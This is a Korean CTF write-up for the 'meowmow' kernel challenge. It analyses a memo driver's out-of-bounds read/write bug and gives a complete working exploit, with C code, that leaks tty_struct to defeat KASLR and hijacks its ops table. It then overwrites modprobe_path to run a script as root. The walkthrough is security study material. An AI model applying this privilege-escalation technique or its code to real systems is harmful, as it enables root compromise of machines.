meowmow

취약점 분석

1. mod_llseek의 파일 위치 상한 검증 부재

mod_llseek는 계산된 파일 위치가 음수인지만 검사한다. memo 버퍼의 크기는 0x400바이트지만, 새로운 파일 위치가 MAX_SIZE보다 작은지는 검사하지 않는다.

static loff_t mod_llseek(struct file *filp, loff_t offset, int whence)
{
  loff_t newpos;
  switch(whence) {
  case SEEK_SET:
    newpos = offset;
    break;
  case SEEK_CUR:
    newpos = filp->f_pos + offset;
    break;
  case SEEK_END:
    newpos = strlen(memo) + offset;
    break;
  default:
    return -EINVAL;
  }
  if (newpos < 0) return -EINVAL;
  filp->f_pos = newpos;
  return newpos;
}

따라서 사용자는 다음과 같이 file->f_pos를 버퍼 끝에 가까운 0x3f0으로 설정할 수 있다.

lseek(fd, 0x3f0, SEEK_SET);

이 문제는 단독으로는 OOB 접근을 발생시키지 않는다. 하지만 mod_readmod_write의 잘못된 길이 검사와 결합하면 커널 힙 OOB read/write가 된다.

SEEK_ENDstrlen(memo)를 사용하는 것도 문제다. 사용자가 memo0x400바이트를 모두 NULL이 아닌 값으로 채우면 strlen이 할당 범위를 넘어 계속 읽을 수 있다.

2. mod_readmod_write의 잘못된 범위 검사

memomod_open에서 kmalloc(0x400, GFP_KERNEL)로 할당된다.

static int mod_open(struct inode *inode, struct file *file)
{
  if (memo == NULL) {
    memo = kmalloc(MAX_SIZE, GFP_KERNEL);
    memset(memo, 0, MAX_SIZE);
  }
  return 0;
}

mod_read는 시작 위치가 0x400보다 작은지 확인하고, 요청 길이 count0x400보다 큰 경우에만 길이를 줄인다.

static ssize_t mod_read(struct file *filp, char __user *buf,
                        size_t count, loff_t *f_pos)
{
  if (filp->f_pos < 0 || filp->f_pos >= MAX_SIZE) return 0;
  if (count < 0) return 0;
  if (count > MAX_SIZE) count = MAX_SIZE - *f_pos;
  if (copy_to_user(buf, &memo[filp->f_pos], count)) return -EFAULT;
  *f_pos += count;
  return count;
}

mod_write도 같은 검사를 사용한다.

static ssize_t mod_write(struct file *filp, const char __user *buf,
                         size_t count, loff_t *f_pos)
{
  if (filp->f_pos < 0 || filp->f_pos >= MAX_SIZE) return 0;
  if (count < 0) return 0;
  if (count > MAX_SIZE) count = MAX_SIZE - *f_pos;
  if (copy_from_user(&memo[filp->f_pos], buf, count)) return -EFAULT;
  *f_pos += count;
  return count;
}

검사해야 하는 조건은 다음과 같다.

if (count > MAX_SIZE - filp->f_pos)
    count = MAX_SIZE - filp->f_pos;

그러나 실제 코드는 count > MAX_SIZE만 검사한다. 따라서 count가 정확히 0x400이면 파일 위치와 상관없이 길이 조정이 수행되지 않는다.

lseek(fd, 0x3f0, SEEK_SET);
read(fd, buf, 0x400);

위 호출의 복사 범위는 다음과 같다.

시작 주소: memo + 0x3f0
종료 주소: memo + 0x7ef
정상 범위: memo ~ memo + 0x3ff
OOB 범위: memo + 0x400 ~ memo + 0x7ef

memo의 마지막 0x10바이트와 그 뒤 커널 힙 0x3f0바이트를 읽거나 쓸 수 있다. memo가 속한 kmalloc-1024 객체 바로 뒤에 공격 대상 객체를 배치하면 다음 공격 벡터를 얻는다.

  • OOB read를 이용한 커널 포인터와 힙 주소 유출
  • OOB write를 이용한 인접 객체의 함수 포인터 변조
  • KASLR 우회
  • 커널 쓰기 primitive 구성

countsize_t이므로 count < 0 검사는 항상 거짓이며 유효한 방어가 아니다.

3. tty_struct를 이용한 공격 대상 구성

memokmalloc-1024 객체다. /dev/ptmx를 열 때 생성되는 tty_struct도 같은 크기의 slab 객체에 할당된다. 익스플로잇은 먼저 /dev/memo를 열어 memo를 할당하고, 이어서 /dev/ptmx를 열어 그 뒤에 tty_struct가 배치되도록 한다.

int fd = open("/dev/memo", O_RDWR);
int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

memo + 0x3f0부터 읽으면 사용자 버퍼의 배치는 다음과 같다.

buf + 0x00 ~ 0x0f : memo의 마지막 0x10바이트
buf + 0x10        : tty_struct 시작
buf + 0x28        : tty_struct + 0x18, ops 포인터
buf + 0x48        : tty_struct + 0x38, tty_struct 내부를 가리키는 포인터

tty_struct->ops를 가짜 tty_operations 테이블로 변경하면 PTY 연산을 통해 원하는 커널 가젯을 호출할 수 있다.

Exploit 과정

Step 1: memotty_struct 힙 배치

/dev/memo를 먼저 열어 전역 memo 버퍼를 할당하고, 바로 이어 /dev/ptmx를 열어 공격 대상 tty_struct를 생성한다.

int fd = open("/dev/memo", O_RDWR);
int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

두 객체는 모두 kmalloc-1024 크기 클래스에 속한다. 제공된 실행 환경에서 tty_structmemo 다음 객체에 배치된다.

Step 2: OOB read로 tty_struct 유출

파일 위치를 0x3f0으로 설정하고 0x400바이트를 읽는다.

lseek(fd, 0x3f0, SEEK_SET);
 
char buf[0x400] = {0};
read(fd, buf, sizeof(buf));

읽은 데이터에서 처음 0x10바이트는 memo의 마지막 부분이고, buf + 0x10부터는 인접한 tty_struct다.

memo base                  memo + 0x400 = tty_struct base
    |                                      |
    +----------------------+---------------+-------------------+
                           ^               ^
                     memo + 0x3f0      buf + 0x10
                           |
                         buf

Step 3: 커널 베이스와 힙 주소 계산

tty_struct + 0x18에는 정상 tty_operations 테이블 주소가 들어 있다. 해당 포인터의 알려진 오프셋 0xe65900을 빼서 커널 베이스를 계산한다.

uint64_t kbase =
    *(uint64_t *)(buf + 0x18 + 0x10) - 0xe65900;

tty_struct + 0x38에 저장된 포인터는 tty_struct + 0x38을 가리킨다. 따라서 0x38을 빼면 tty_struct의 힙 주소를 얻을 수 있다.

uint64_t kheap =
    *(uint64_t *)(buf + 0x38 + 0x10) - 0x38;

커널 베이스를 기준으로 modprobe_path와 쓰기 가젯 주소를 계산한다.

uint64_t modprobe_path = kbase + 0x1242260;
uint64_t mov_rdx_rsi = kbase + 0x3150d2;

kbase + 0x3150d2의 가젯은 다음과 같다.

mov qword ptr [rdx], rsi
ret

Step 4: 가짜 tty_operations 구성

가짜 operations 테이블은 유출한 tty_struct 내부의 tty + 0x300 위치에 만든다.

*(uint64_t *)(buf + 0x18 + 0x10) = kheap + 0x300;

위 코드는 tty_struct->opstty + 0x300으로 변경한다.

tty_operations->ioctl 슬롯은 operations 테이블 시작으로부터 0x60에 있다. 따라서 가짜 테이블이 tty + 0x300에 있다면 ioctl 함수 포인터는 tty + 0x360에 놓여야 한다.

사용자 버퍼에서 tty_struct 시작은 buf + 0x10이므로 다음 위치에 쓰기 가젯을 기록한다.

*(uint64_t *)(buf + 0x360 + 0x10) = mov_rdx_rsi;

결과적인 구조는 다음과 같다.

tty_struct + 0x018 : fake ops 주소인 tty_struct + 0x300
tty_struct + 0x300 : fake tty_operations 시작
tty_struct + 0x360 : fake tty_operations->ioctl
tty_struct + 0x360 : mov qword ptr [rdx], rsi ; ret

Step 5: OOB write로 tty_struct 변조

앞선 read()file->f_pos0x3f0 + 0x400만큼 증가시킨다. 따라서 쓰기 전에 파일 위치를 다시 0x3f0으로 설정해야 한다.

lseek(fd, 0x3f0, SEEK_SET);
write(fd, buf, sizeof(buf));

buf에는 유출한 원본 tty_struct 내용이 보존되어 있고, ops 포인터와 fake ioctl 슬롯만 변경되어 있다. OOB write가 끝나면 target PTY의 ioctl 호출은 쓰기 가젯으로 분기한다.

Step 6: ioctl을 임의 커널 쓰기 primitive로 변환

PTY ioctl 함수는 다음과 같은 형태로 호출된다.

tty->ops->ioctl(tty, cmd, arg);

x86-64 호출 규약에 따라 레지스터는 다음과 같다.

rdi = tty_struct 주소
rsi = ioctl cmd
rdx = ioctl arg

가짜 ioctl 함수는 다음 가젯이다.

mov qword ptr [rdx], rsi
ret

따라서 다음 호출은 arg가 가리키는 커널 주소에 cmd 값을 기록한다.

ioctl(ptmx, cmd, target_address);

ioctl 명령은 32비트 값이므로 한 번에 문자열 4바이트를 제어한다. 두 번 호출해 modprobe_path"/tmp/ex\0"을 기록한다.

char *new_modprobe_path = "/tmp/ex\0";
 
ioctl(ptmx, (uint64_t)*(uint32_t *)new_modprobe_path,
      modprobe_path);
ioctl(ptmx, (uint64_t)*(uint32_t *)(new_modprobe_path + 4),
      modprobe_path + 4);

첫 번째 호출은 "/tmp"를, 두 번째 호출은 "/ex\0"을 기록한다.

Step 7: modprobe_path 실행으로 권한 획득

새로운 modprobe_path가 가리킬 /tmp/ex 스크립트를 생성한다. 스크립트는 /flag의 권한을 모든 사용자가 읽을 수 있도록 변경한다.

system("echo -ne '#!/bin/sh\nchmod 777 /flag\n' > /tmp/ex;");
system("chmod +x /tmp/ex;");

알 수 없는 바이너리 형식을 가진 /tmp/dummy도 생성한다.

system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy;");
system("chmod +x /tmp/dummy;");

/tmp/dummy를 실행하면 커널이 적절한 binary format handler를 찾기 위해 변경된 modprobe_path를 실행한다. 결과적으로 /tmp/ex가 실행되고 /flag의 권한이 변경된다.

system("/tmp/dummy");
system("cat /flag");

이 방식은 커널 제어 흐름을 직접 사용자 공간으로 옮기지 않으므로 SMEP와 SMAP의 영향을 받지 않는다. KASLR은 tty_struct->ops 포인터 유출로 우회한다.

Exploit Code

#include <bits/pthreadtypes.h>
#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <unistd.h>
 
int main() {
  important("happy hacking!");
 
  // open /dev/memo, /dev/ptmx
  int fd = open("/dev/memo", O_RDWR);
  int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);
 
  // leak tty_struct
  lseek(fd, 0x3f0, SEEK_SET);
 
  char buf[0x400] = {0};
  read(fd, buf, sizeof(buf));
  hexdump(buf, 0x50);
 
  uint64_t kbase = *(uint64_t *)(buf + 0x18 + 0x10) - 0xe65900;
  uint64_t kheap = *(uint64_t *)(buf + 0x38 + 0x10) - 0x38;
  uint64_t modprobe_path = kbase + 0x1242260;
  info("kbase: 0x%lx", kbase);
  info("kheap: 0x%lx", kheap);
  info("modprobe_path: 0x%lx", modprobe_path);
 
  // overwrite tty_struct
  uint64_t mov_rdx_rsi = kbase + 0x3150d2;
 
  lseek(fd, 0x3f0, SEEK_SET);
 
  *(uint64_t *)(buf + 0x18 + 0x10) = kheap + 0x300;
  *(uint64_t *)(buf + 0x360 + 0x10) = mov_rdx_rsi;
  write(fd, buf, sizeof(buf));
  info("overwrite tty_struct done");
 
  // set up modprobe_path overwrite
  system("echo -ne '#!/bin/sh\nchmod 777 /flag\n' > /tmp/ex;");
  system("chmod +x /tmp/ex;");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy;");
  system("chmod +x /tmp/dummy;");
 
  // overwirte modprobe_path
  char *new_modprobe_path = "/tmp/ex\0";
 
  ioctl(ptmx, (uint64_t)*(uint32_t *)new_modprobe_path, modprobe_path);
  ioctl(ptmx, (uint64_t)*(uint32_t *)(new_modprobe_path + 4),
        modprobe_path + 4);
 
  system("/tmp/dummy");
  system("cat /flag");
 
  return 0;
}